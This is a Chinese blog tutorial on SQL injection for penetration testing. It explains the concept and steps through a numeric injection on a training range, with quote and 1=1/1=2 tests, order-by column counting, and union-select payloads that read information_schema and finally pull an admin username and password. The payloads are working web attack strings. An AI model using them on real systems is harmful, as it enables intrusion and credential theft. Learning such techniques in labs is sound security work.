渗透测试之sql注入

本文详细介绍了SQL注入的原理及六种类型,并通过实例演示了如何判断数字类型注入的存在及利用其获取目标网站数据。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

原文地址
什么是SQL注入?

SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。

SQL注入的原理是什么?

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。(用户输入的数据,被当SQL语句在目标服务器上来进行执行,以此来获得自己想要的数据)

SQL注入有哪几种类型?

SQL注入类型有以下6种:1. 数字类型的注入;2. 字串类型的注入;3. GET注入;4. POST注入;5. COOKIE注入;6. HTTP注入。SQL注入是通过将恶意的 SQL 查询或添加语句插入到应用的输入参数中,再在后台 SQL 服务器上解析执行进行的攻击。

一.数字类型注入

1.1如何判断是否存在sql注入

我们在封神台靶场上来进行测验 靶场地址

靶场页面就是这样的

点击查看新闻1

会出现id=1 在id=1后面输入一个单引号 ’ 单引号是英文的单引号,并且在url输入的字符都应为英文

输入之后他会报错 回想一下没输入之前页面上是有 猫舍介绍 输入之后页面却不显示 这是因为不符合语法 所以该语句肯定会出错 导致脚本程序无法从数据库获取数据 从而使原来的页面出现异常

继续在id=1 后面输入 and 1=1 1和and之间需要空格

这时它的页面怎么是又是正常的 是因为语句正确 执行正常 返回的数据与原始请求无任何差异

把id=1 and 1=1 改成 id=1 and 1=2

当id=1 and 1=2 页面怎么又报错了 因为虽然语法正确,语句执行正常,但是逻辑错误,因为 1 = 2 为假,所以返回数据与原始请求有差异。如果以上三个步骤全部满足,则程序就可能存在数字型 SQL 注入漏洞。

1.2如何获取目标网站的数据

既然确定了此网站存在SQL注入 那么我们就要获取到我们想到得到的数据

1.1 查字段数

在id=1 后面输入 order by 1 ,order by 2, order by 3 … 直到页面报错

当输入到 order by 3 时页面报错 那么它的字段数应为2 因为order by 2 时他并没有报错 order by 3 时报错 证明它并不存在3个字段 所以他的字段数应该为2

1.2 查询回显点

在id=1后输入 and 1=2 union select 1,2 看到了没他的页面出现了2 所以他的回显点为2

  1. 3查询当前使用库

1.4查询表

?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

表名为 admin

1.5 查字段

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1

1.6 查用户名

用户名为admin

?id=1 and 1=2 union select 1,username from admin limit 0,1

查密码

密码为hellohack

?id=1 and 1=2 union select 1,password from admin limit 0,1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值